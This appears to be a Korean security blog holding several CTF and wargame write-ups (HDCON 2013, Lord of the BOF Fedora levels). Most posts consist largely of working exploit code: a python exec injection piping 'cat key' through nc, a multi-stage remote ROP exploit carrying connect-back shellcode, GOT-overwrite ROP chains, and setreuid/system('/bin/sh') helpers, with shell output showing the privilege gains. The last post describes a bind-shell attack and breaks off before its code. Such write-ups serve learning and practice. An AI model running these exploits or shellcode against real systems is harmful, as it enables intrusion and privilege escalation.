2013.07.11 22:59

HDCON 2013  neskjail 문제 ( python exec 함수의 문제


      exploiting by 광운~   


HDCON 본선문제로 python exec를 이용하는 문제 였다.

문제서버에는 neskjail 이라는 프로세스가 돌고 있었어야 했고, 중지 시 감점이 된다고한다(실제론 감점 안된듯?)



문제코드는 아래와 같다 약간의 난독화가 되어 있었는데, 같은 문자열을 치환시켜서 

대충 맞추면 소켓서버가 완성되었다. 파이썬 코드가 워낙 직관적이기에 쉽게 진행 할 수 있었다.



대충 보기좋게 치환한 코드는 아래와 같음.

#!/usr/bin/python

import socket

import os

import subprocess

import SocketServer

import sys


def MSG_CHECK ( msg ) :

if "N3Sk" in msg [ 50 : ] :

return "NESK"

else :

return "PESK"


def OPEN_READ_CHECK ( msg ) :

if "open" in msg or "read" in msg :    // msg 에 read 나 open 이 있으면 false  두개가 없으면 NESK

return "false"

else :

return "NESK"  


def CHECK_50_N3Sk ( sock ) :

sock . send ( "UNEXPLOITABLE!\n" )   


class EchoHandler ( SocketServer . BaseRequestHandler ) :

def handle ( self ) :

MESSAGE = self . request . recv ( 200 ) . strip ( )    // 띄어쓰기없이 200바이트를 받아들임

try :

if len ( MESSAGE ) > 5 :

RECV_RESULT = MSG_CHECK ( MESSAGE )  

//  문자열이 5글자 이상이면 MSG_CHECK를 함  50번째 이후에 N3Sk가 있어야 NESK를 리턴 


if RECV_RESULT == "NESK" :  // msg 50번째 이후에 N3Sk가 있으면 참 값..

try :

if OPEN_READ_CHECK ( MESSAGE ) == "NESK" :   

                                                                               // OEPN_READ 함수의 값이 NESK 이면(즉 open read가 없으면)

       //이부분에서 open 이나 read 함수를 쓸수 없다는 것을 말함.


exec MESSAGE //MSG를 실행함.

except :

return

else :

CHECK_50_N3Sk ( self . request )


except KeyError , IIII :

pass


if __name__ == "__main__" :

SOCK_SERVER = SocketServer . TCPServer ( ( "localhost" , 7997 ) , EchoHandler )

SOCK_SERVER . serve_forever ( )





조건은 정리해 보면 아래와 같다.


0. 상대방은 7997 로 서버프로그램을 하나 돌리고 있다.

1. 50번째부터 N3Sk 란 문자열이 있어야한다.

2. read 나 open 함수를 사용 할 수는 없다.

3. exec 에 들어갈 파이썬 코드는 key 값을 읽을 수 있어야 한다. 

4. exec 안에 들어갈 파이썬 코드는 문법상 오류가 생기면 않된.

5. 실행된 결과 값은 나에게 다시 전송시켜 줘야 한다. (데몬은 상대방 서버에서 돌기 때문)


이 문제는 python 의 exec 는 파이썬 코드 자체를 실행 시킬수 있다는 점을 이용한 문제 + 소켓 디스크립트에 직접 파일을 쓸수 있는가 하는 문제이다. 소켓 디스크립트는  4번을 쓴다.


PAYLOAD는 다음과 같다.  


[import os;os.system('cat key > &4');][ A * 50 ] [ N3Sk 문자열.. 하지만 파이썬 문법에 어긋나면안됨] |  nc [ 상대방 서버 ] [서버의 포트 ]


위와 같은 페이로드가 맞으면 exec 는 os.system 함수를 호출하고 system 함수는 cat key를 실행하여 client socket 디스크립트로

전송시킨다. 이때 실행코드로 들어가기 위해서는 N3Sk 란 글자가 50번째 이후에 반드시 존재하여야 한다. 


connection 이 맺어진 뒤 client socket descript 로 전송하게 되면 Client 화면에 키 값이 출력 된다.


위와같은 결과값을 상대방 서버에 접속한다.



root@k1rha:/HACK/HDCON# 

python -c 'print "import os;os.system(\"cat key >&4 \");"+"A"*50+"N3Sk=0"' | nc 127.0.0.1 7997


Get key succcess 


root@k1rha:/HACK/HDCON# 











Posted by k1rha
2013.06.17 17:30

HDCON REMOTE BOF 


Hacked by singi , exploiting & report by 광운



hdconNo5_exp.py

luckyzzang



공격 페이로드는 아래와 같다.


STAGE1 = SEND + PPPR + SOCKFD + GOT_TIME + VALUE_0x4 + NULL + \

              FUNC + AAAA + SOCKFD


STAGE2 = MPROTECT + PPPR + CUSTOM_STACK + SIZEOF_CUSTOM + MODE_EXEC +\

               RECV + RETURN_CUSTOM + SOCKFD + CUSTOM_STACK + SHELLCODELEN + NULL


STAGE3 = SELLCODE



from socket import *

import sys

import struct


SHELLCODE ="\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x66\x68\x22\xb8\x66\xb9\x02\x00\x66\x51\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0\x66\x31\xdb\x43\x43\x43\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

SHELLCODELEN = struct.pack('<L', len(SHELLCODE))


PLT_SEND = 0x08048610

GOT_TIME = 0x804a004

ADDR_FUNC = 0x080486d4


PPPR = struct.pack('<L', 0x804878d)

PPPPR = struct.pack('<L', 0x80489cc)

STAGE1 = '\x41' * 1036 + struct.pack('<L', PLT_SEND) + PPPPR + '\x04\x00\x00\x00' + struct.pack('<L', GOT_TIME)

STAGE1 += '\x04\x00\x00\x00' + '\x00\x00\x00\x00' +struct.pack('<L', ADDR_FUNC) + '\x41\x41\x41\x41' + '\x04\x00\x00\x00'


if __name__ == '__main__':

s = socket(AF_INET, SOCK_STREAM)

s.connect(('127.0.0.1', 7777))


s.recv(1024)

s.send(STAGE1)


ADDR_TIME = struct.unpack('<L', s.recv(4))[0]


ADDR_MPROTECT = ADDR_TIME + 0x41B70

ADDR_RECV = ADDR_TIME + 0x48080


STAGE2 = '\x41' * 1036 + struct.pack('<L',ADDR_MPROTECT ) + PPPR + '\x00\x80\x04\x08' + '\x00\x10\x00\x00'

STAGE2 += '\x07\x00\x00\x00' + struct.pack('<L', ADDR_RECV) + '\x91\x87\x04\x08' + '\x04\x00\x00\x00'

STAGE2 += '\x91\x87\x04\x08' + SHELLCODELEN + '\x00\x00\x00\x00'


s.recv(1024)

s.send(STAGE2)

s.send(SHELLCODE)


s.close()




Posted by k1rha
2013.04.28 18:41

KEYWORD  : LOB 페도라 원정대 페도라4 오버플로우 



dark_stone 부터는 페도라 원정대3에서 페도라 원정대 4로 이미지를 바꾸어 진행하여야 한다.

cruel 문제부터 봐보면 오히려 간단해진 문제를 볼수 있다.



strcpy 부분에서 인자값을 복사하면서 경계값을 검사 하지 않아 오버플로우가 발생한다.

execl 을 이용하여 심볼릭 링크를 걸고 공격 하는 방법을 다시 써서 공략하였다.


(gdb) p execl

$1 = {<text variable, no debug info>} 0x832d68 <execl>

0x08048451 <main+109>: ret    


RET = 0x08048451

execl  = 0x832d68


스택은 랜덤하기 떄문에 RET 슬라이딩을 이용하여 eip를 움직여 스택이 정적인 부분까지 끌어 올리는 방식을 택하였다.

여기서 3번정도면 스택이 정적인 부분을 찾을 수 있었으나, 인자값을 구하기 쉬운 부분을 선택하기 위하여 RET을 7번이나 더해주게 되었다.

[dark_stone@Fedora_2ndFloor ~]$ sstrace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

[008a1402] execve("./cruel", ["./cruel", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...], [/* 20 vars */]) = 0

.

.

[009c1402] execve("<춯", ["", "U\211\345WVS\203\354\f\350", "", "Q\204\4\10Q\204\4\10\234\245\307\277\364\257\214", "\205\300uSe\241T"], [/* 20 vars */]) = -1 ENOENT (No such file or directory)  //execl 의 인자가 짧다.


[dark_stone@Fedora_2ndFloor ~]$ strace -i ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'` 2> result.txt

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

[dark_stone@Fedora_2ndFloor ~]$

[dark_stone@Fedora_2ndFloor ~]$ xxd result.txt 

.

.

.

0000740: 6435 3430 325d 2065 7865 6376 6528 223c  d5402] execve("<

0000750: ad8c 222c 205b 2222 2c20 2255 5c32 3131  ..", ["", "U\211

.

.

 execl 인자값 :  \x3\xad\x8c 가 이자값이 되어 실행 되었다.


다음은 execl 의 인자값을 쉘을 떨어트릴 수 있는 프로그램으로 심볼릭 링크를 걸어준다.

[dark_stone@Fedora_2ndFloor ~]$ cat system.c

#include<stdio.h>

int main(int argc, char *argv[]){

setreuid(geteuid(),geteuid());

system("/bin/sh");

}

[dark_stone@Fedora_2ndFloor ~]$ export PATH=$PATH:/home/dark_stone  

[dark_stone@Fedora_2ndFloor ~]$ ln -s system `python -c 'print "\x3c\xad\x8c"'`



공격 페이로드는 다음과 같다.


[ buffer = 260 ] [ RET ] * 7 , [ execl ] [ 어딘가의 인자값 ]

                                                      \x3c\xad\x8c -> "/bin/sh 을 실행시켜주는 프로그램 "

                      


[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "a"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaQ?Q?Q?Q?Q?Q?Q?h-?

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00?y-pass

sh: ?y-pass: command not found

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



Posted by k1rha
2013.04.14 15:14

LOB Fedora 원정대 ( evil_wizard -> dark_stone )

key word : GOT overwrite , Remote Buffer Overflow Got overwrite 



지난번 문제와 거의 동일하다. 다만 리모트 환경으로 넘어오게 된다.



지난번 문제와 큰차이는 없으나, 리모트 환경이다. 8888 번 포트로 전송 시키되, execve 를 쓸필요 없고 system 함수로

쉘만 획득해도 권한이 상승 한다.  지난번과 똑같은 PAYLOAD 로 공격하려고 했으나 많은 실패가 있었는데 GOT table 을 망가트리는

현상이 일어나는 것 같았다.

[ROP] 문서 내용 중..

custom stack 의 위치를 정하기 위해 주의해야 할 사항:

· 주소안에서 NULL 값을 피하기위해 우리는 마지막 byte 값을 낮은 값으로 선택해줘야 한다. (예:

0x8049810)

· GOT 테이블이 예상치 못하게 덮어지는 상황을 주의해야 한다.

· 스택은 높은주소에서부터 낮은 주소로 자라기 때문에, data 영역을 시작 주소로 잡아서는 안된다.

(예: 시작주소를 0x8049010 으로 잡아버리면 ret-to-libc call 이 실패할 것이다.)

· 보통은 ".data" 혹은 "bss" 영역 이후의 주소로 잡아주는것이 custom stack 을 설정하기에 좋다.


[ 이전 공격구문 ]

[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 == /bin/sh 가 안됐음 ]


[ 이번에 적용한 공격구문 ]


[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 

[ 공격구문 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 0 ] , [ system 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 1 ] , [ system 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 2 ] , [ system 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ CUSTOM_ADDR + 3 ] , [ system 네번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT ] , [ CUSTOM_ADDR 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[ &/bin/sh ]


위 공격 구문을 구성하기 위해서 필요한 것들은 다음과 같다.


memcpy@plt :  0x08048418

(gdb) x/5i 0x08048418

0x8048418 <_init+120>: jmp    *0x8049850


memcpy@got : 0x08049850

strcpy@plt  : 0x08048438

PPR : 0x080484f0  

"/bin/sh" @ addr = 0x833604

system : 0x7507c0

c0 : 0x80484d0

07 : 0x8048ca9

75 : 0x80486ee

00 : 0x804875e


임의의 스택값 : 0x80498a0: 0x00000000 0x00000000 0x00000000 0x00000000

//이경우 memcpy@got 에 직접 씌워주려 했으나, 실패했다. GOT table이 깨지는 듯 하여 임의의 주소값에 system 주소를담고 다시 이를 memcpy 로 가져옴으로써 정확한 주소값만 Overwrite를 할 수 있도록 하였다.



1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;

}




복사 붙여넣기 용 소스코드

[ source code ]

import os


MEMCPY_GOT = "\x50\x98\x04\x08"

BINSH = "\x03\x36\x83\x00"

CALL_MEMCPY = "\x95\x85\x04\x08"


#SYSTEM = "\xc0\x07\x75\x00"

ADDR_C0 = "\xd0\x84\x04\x08"

ADDR_07 = "\xa9\x8c\x04\x08"

ADDR_75 = "\xee\x86\x04\x08"

ADDR_00 = "\x5e\x87\x04\x08"


STRCPY =  "\x38\x84\x04\x08" 

PPR =  "\xf3\x84\x04\x08"


CUSTOM_0 =  "\xa0\x98\x04\x08"

CUSTOM_1 =  "\xa1\x98\x04\x08"

CUSTOM_2 =  "\xa2\x98\x04\x08"

CUSTOM_3 =  "\xa3\x98\x04\x08"


def main():


BUFFER = "\x90"*268

ATTACK = BUFFER + \

STRCPY + PPR + CUSTOM_0 + ADDR_C0+\

 STRCPY + PPR + CUSTOM_1 + ADDR_07+\

 STRCPY + PPR + CUSTOM_2 + ADDR_75+\

 STRCPY + PPR + CUSTOM_3 + ADDR_00+\

 STRCPY + PPR + MEMCPY_GOT + CUSTOM_0+\

 CALL_MEMCPY + BINSH

print ATTACK


if __name__ ==  '__main__':

main()


[evil_wizard@Fedora_1stFloor ~]$ (python exploit6.py ;cat)| nc localhost 8888

dark_stone : how fresh meat you are!

you : id           

uid=505(dark_stone) gid=505(dark_stone) context=user_u:system_r:unconfined_t

my-pass

euid = 505

let there be light

[dark_stone@Fedora_1stFloor ~]$ ls -al

total 56

drwx--x---  2 dark_stone dark_stone 4096 Apr 28  2010 .

drwxr-xr-x  8 root       root       4096 Apr 28  2010 ..

-rw-r--r--  1 dark_stone dark_stone   24 Apr 28  2010 .bash_logout

-rw-r--r--  1 dark_stone dark_stone  191 Apr 28  2010 .bash_profile

-rw-r--r--  1 dark_stone dark_stone  124 Apr 28  2010 .bashrc

-rw-r--r--  1 root       root        580 Apr 28  2010 dropped_item.txt

-rw-r--r--  1 dark_stone dark_stone  383 Apr 28  2010 .emacs

[dark_stone@Fedora_1stFloor ~]$ cat dropped_item.txt 

                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,' 

- 끝 -


Posted by k1rha
2013.04.07 21:06

keyword : load of bof , LOB ,Fedora,  BOF, GOT, overwrite, (hell_fire -> evil_wizard)


[hell_fire@Fedora_1stFloor ~]$ cat evil_wizard.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3   

- hint : GOT overwriting    //GOT overwrite 를 하라는 힌트가 있음

*/


// magic potion for you

void pop_pop_ret(void) //좀있다 사용될 PPR 코드를 만들어 둬서 찾기 쉽게 만들어줌. 

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);   // EBP 를 저장시킴

 

// overflow!!

strcpy(buffer, argv[1]);   //OVER FLOW 발생지점 


// restore sfp 

memcpy(buffer+264, saved_sfp, 4); //EBP를 복원시켜서 오버플로우로 EBP바뀐것이 소용없도록함


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); 


printf("%s\n", buffer);

}



GOT overwrite는 FSB(Formet string bug)에서 자주 사용되는 공격 기법이다. 

PLT 와 GOT 에 대한건  system 게시판 GOT PLT 심층 분석을 통해 보고 여기서는 풀이에 힘을 쏟겠다. 


이전 문제와 같이 268 바이트면 EBP까지 덮어 쓰고 RET을 덮기 시작한다.


공격의 설명은 다음과 같다.

memcpy GOT 주소를 execve 실 주소로 덮어 쓰는 것이다. 

그렇게 되면 memcpy 를 실행하는 대신에 execve 를 실행하게 될 것이다.



[buffer = 264 ] [ SFP = 4 ] [ RET = 4 ]

                         EBP초기화   [ 공격구문 ] 


[ 공격구문 ]


[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+0 ] , [ execve 첫번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+1 ] , [ execve 두번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+2 ] , [ execve 세번째 바이트를 가진 주소 값 ]

[ strcpy@plt ] , [ PPR ] , [ memcpy@GOT+3 ] , [ execve 네번째 바이트를 가진 주소 값 ]

[main+240(memcpy 를 하고 난 다음 다시 복귀 할 EBP 주소 ],

[고정된 주소 아무곳이나.. 심볼릭 링크를 걸 것임 ]




필요한 함수들의 주소

(gdb)p execve

{<text variable, no debug info>} 0x7a5490 <execve>


(gdb) info func

0x0804854c  pop_pop_ret


[hell_fire@Fedora_1stFloor ~]$ objdump -d ./evil_wizard | grep strcpy

08048494 <strcpy@plt>:

 8048624: e8 6b fe ff ff       call   8048494 <strcpy@plt>

(gdb) x/10xi 0x8048434

0x8048434 <_init+104>: jmp    *0x8049888

0x804843a <_init+110>: push   $0x20

(gdb) x/10xi 0x8049888   //memcpy GOT 주소값 

0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: rclb   $0x60,0x0(%eax,%edi,2)

0x804988d <_GLOBAL_OFFSET_TABLE_+33>: cwtl   

(gdb) x/10xi *0x8049888  //memcpy GOT 주소값의 값들을 확인해보면 memcpy가 들어있음

0x7854c0 <memcpy>: mov    0xc(%esp),%ecx

0x7854c4 <memcpy+4>: mov    %edi,%eax

0x7854c6 <memcpy+6>: mov    0x4(%esp),%edi


[ 정리 ]


 PPR  address : 0x0804854c

 strcpy@PLT    : 0x8048494

 memcpy@GOT 0x8049888

 execve          : 0x007a5490

                              0x90  : 0x8049450

0x54  : 0x80487b4

0x7a  : 0x8048898

0x00  : 0x8048798


main+240         : 0x08048644



- main+240 주소값 구하기 

(gdb)disass main

0x08048644 <main+240>: call   0x8048434 <_init+104>

   



- execve 주소값을 가지고 있는 주소값 구하기 (고정된 주소는 다 뒤져야함)

0x80487b0: 0x0000000d 0x08048754 0x00000004 0x08048148

(gdb) x/x 0x080487b0+4

0x80487b4: 0x08048754


0x8048790: 0x00000000 0xffffffff 0x00000000 0x00000000

(gdb) x/x 0x8048790+8

0x8048798: 0x00000000


0x804888c: 0x0804844a 0x0804845a 0x0804846a 0x0804847a

(gdb) x/x 0x804888c+12

0x8048898: 0x0804847a


0x804944c: 0xe9000000 0xffffff90 0x989025ff 0x30680804

(gdb) x/x 0x804944c+4

0x8049450: 0xffffff90





[ 공격구문 ]



import os

def main():


        x= "x"*268+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+\

                "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+\

                "\x44\x86\x04\x08"+"\xc6\x84\x04\x08"


                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+0 + execve_1st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+1 + execve_2st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+2 + execve_3st_addr <- addr

                 #strcpy@Plt  + PPR_addr + memcpy@GOT_addr+3 + execve_4st_addr <- addr

                 #main+240 (EBP)  + somewhere static address


        TARGET = "./evil_wizard"

        CMD = TARGET + " " + x

        os.system(CMD)


if __name__ == '__main__' :

        main()


   

[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'`//고정된 주소 값 

.

.

.[007037a2] execve("??U???, [0], [/* 0 vars */]) = -1 ENOENT (No such file or directory) //특정값을 실행

[00784fd7] --- SIGSEGV (Segmentation fault) @ 0 (0) ---

upeek: ptrace(PTRACE_PEEKUSER,4524,48,0): No such process

[????????] +++ killed by SIGSEGV +++

[hell_fire@Fedora_1stFloor ~]$ 


[hell_fire@Fedora_1stFloor ~]$ strace -i ./evil_wizard `python -c 'print "x"*268+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x88\x98\x04\x08"+"\x50\x94\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x89\x98\x04\x08"+"\xb4\x87\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8a\x98\x04\x08"+"\x98\x88\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x8b\x98\x04\x08"+"\x98\x87\x04\x08"+"\x44\x86\x04\x08"+"\xc6\x84\x04\x08"'` 2> error.txt //고정된 주소 값

 

[hell_fire@Fedora_1stFloor ~]$xxd error.txt

0000970: 3761 325d 2065 7865 6376 6528 2290 9055  7a2] execve("..U

0000980: 89e5 53e8 222c 205b 305d 2c20 5b2f 2a20  ..S.", [0], [/* 


위에 검은색 부분을 실행시킴 


[hell_fire@Fedora_1stFloor ~]$ make system

cc     system.c   -o system   // setreuid 와 system("/bin/sh") 프로그램


[hell_fire@Fedora_1stFloor ~]$ ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[007037a2] execve("??U???, [0], [/* 0 vars */]) = 0


[hell_fire@Fedora_1stFloor ~]$  ln -s ./system `python -c 'print "\x90\x90\x55\x89\xe5\x53\xe8"'`

[hell_fire@Fedora_1stFloor ~]$ python exploit.py 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(???O???P???O???큸??O???????O?????D??

sh-3.00$ id

uid=504(evil_wizard) gid=504(evil_wizard) groups=503(hell_fire) context=user_u:system_r:unconfined_t

sh-3.00$ 

sh-3.00$ my-pass

euid = 504

get down like that

sh-3.00$ 


Posted by k1rha
2013.04.01 21:53
[LOB] 페도라 원정대 3 (dark_eyes -> hell_fire)

 

한동안 리모트 환경인줄 모르고 이해가 안갔던 문제,,

 

 

코드는 간단하다 그냥 ebp 를 저장했다가 되돌림으로써 fake_ebp 를 막아놓은 것 말고는 일반적인 버퍼 오버 플로우이다.

다만 리모트 환경이라는 부분을 코드를 찾는데 고생했다.

 

일반적인 페도라 리모트 오버플로우에서 쉘을 획득할때는 execve 보다 system 함수가 더 유용하다. 하지만 system 함수 역시 인자값을 구성해 줘야하는 어려움이 있는데 시스템 함수에는 내부 루틴중에 do_system 함수를 사용 하게 된다.

 

이 do_system 은 내부적으로 execve("/bin/sh","명령어 "); 와 같은 효과를 가지게 되므로 do_system 만 호출하여도 쉘이 올라가게 된다.

 




1. 번외 : [/bin/sh] 주소값 찾기

system 함수 내에는 do_system 이란 함수가 존재하고 이는 /bin/sh 를 인자값으로 쓴다.

때문에 system 함수를 기점으로 문자열을 검색해보면 [/bin/sh] 의 주소값을 찾을 수 있다.



[evil_wizard@Fedora_1stFloor ~]$ cat findsh.c

#include<stdio.h>

int main(int argc, char *argv[]){


int addr=0x007507c5; //system 함수의 주소

while(1){

if(memcmp(addr++,"/bin/sh",8)==0){

printf("[%p]\n",addr);

break;

}

}


return 0;


Posted by k1rha
2012.06.21 00:14

BOF 원정대 level20 (xavius -> death_knight)

 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

 

        int server_fd, client_fd;

        struct sockaddr_in server_addr;   //소켓  서버 구조체 선언

        struct sockaddr_in client_addr;   //소켓 클라이언트 구조체 선언

        int sin_size;

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){  //소켓의 타입 설정(여기서는 TCP)

                perror("socket");

                exit(1);

        }

 

        server_addr.sin_family = AF_INET;   //소켓의 타입 결정 IPV4 를 의미

        server_addr.sin_port = htons(6666);   //6666포트를 열게 된다.

        server_addr.sin_addr.s_addr = INADDR_ANY; //들어오는 모든 사람들을 받아들이겠음

        bzero(&(server_addr.sin_zero), 8);  //서버의 zin_zero 부분을 0으로 초기화

 

        if(bind(server_fd,(struct sockaddr*)&server_addr,sizeof(struct sockaddr)) == -1){  //바인딩시킴

                perror("bind");

                exit(1);

        }

 

        if(listen(server_fd, 10) == -1){  //소켓을 대기 상태로 만듬

                perror("listen");

                exit(1);

        }

 

        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                  //accepte 가 될시 호출 되는 부분(즉 클라이언트의 연결이 있을시)

                        perror("accept");

                        continue;

                }

 

                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0); //40바이트 buffer 256바이트를 저장

                        close(client_fd);

                        break;

                }

 

                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}memset(buffer+40+8, 'A', 4);

 

 

리모트 BOF 문제이다.

6666포트로 들어오는 사용자들이 문자열을 입력하면 40바이트 만큼 할당된 buffer값에 recv()는 들어오는 내용중 256개를 buff에 넣기 때문에 오버플로우가 발생 하게 된다.

공격 페이로드는 다음과 같다

[buffer=40][sfp=4][ret= 4] [ argc ~~]

 Aaaaaa…..aaaaaa [&NOP] [NOP + BIND SHELLCODE]

 

버퍼을 쓰레기 값으로 체우고 ret에는 앞으로 삽입될 NOP 코드의 주소값을 가르친다.

이는 적절한 위치를 정확히 찾기 어렵기 떄문에 stack 영역을 부루투 포싱한다.

 

이후 일반 쉘코드가 아닌 31337 포트가 열리는 바인드 쉘코드를 사용한다.

부루투포싱을 손으로 할순 없으므로 간단한 소켓을 짜서 공격해보자.

